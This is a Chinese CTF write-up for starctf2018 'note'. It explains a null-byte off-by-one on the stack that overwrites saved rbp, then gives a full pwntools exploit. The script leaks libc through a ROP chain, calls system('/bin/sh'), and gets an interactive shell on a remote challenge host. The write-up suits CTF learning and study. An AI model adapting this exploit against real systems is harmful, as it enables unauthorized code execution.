starctf2018_note(栈上的null off by one)

161 篇文章 9 订阅
161 篇文章 9 订阅

starctf2018_note(栈上的null off by one)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在add函数里的scanf(“%256s”,&s)存在null off by one,其结果是将在栈里的rbp值低1字节覆盖为0。

将栈里rbp的值低1字节覆盖为0后,其结果导致main函数的rbp上移,这样,我们就可以在add里的可控缓冲区里控制main函数里scanf的格式化字符串指针,我们将其修改为%236s的地址,这样就能在main函数里进行栈溢出,做ROP。

#coding:utf8
from pwn import *

#sh = process('./note',env={'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('node3.buuoj.cn',28076)
libc = ELF('./libc-2.23.so')
pop_rdi = 0x0000000000401003
pop_rsi = 0x0000000000401001
#pop rbp ; pop r14 ; pop r15 ; ret
pop_rbp = 0x0000000000400fff
pop_rsp = 0x0000000000400ffd
bss = 0x0000000000602800
puts_got = 0x0000000000601F90
scanf_got = 0x0000000000601FF0
format_str = 0x0000000000401129
jmp_ptr_rbp = 0x00000000004012B3

def add(content):
   sh.sendlineafter('>','1')
   sh.sendlineafter('Note:',content)

sh.sendlineafter('Input your ID:','haivk')

#通过null off by one修改了rbp,这样在main里的scanf的格式化控制字符串就能转移到我们能够控制的地方,我们将%d改为了%256s,
#这样在main里的scanf就可以溢出了
payload = 'a'*0xA8 + p64(format_str)
payload = payload.ljust(0x100,'a')
#null off by one
add(payload)

payload = 'a'*0x64
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(pop_rbp)
payload += p64(puts_got)
payload += p64(0)*2
payload += p64(jmp_ptr_rbp)

payload += p64(pop_rdi)
payload += p64(format_str)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(0)
payload += p64(pop_rbp)
payload += p64(scanf_got)
payload += p64(0)*2
payload += p64(jmp_ptr_rbp)

payload += p64(pop_rsp)
payload += p64(bss)

sh.sendlineafter('>',payload)
sh.recv(1)
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)

sleep(0.2)
payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload)

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值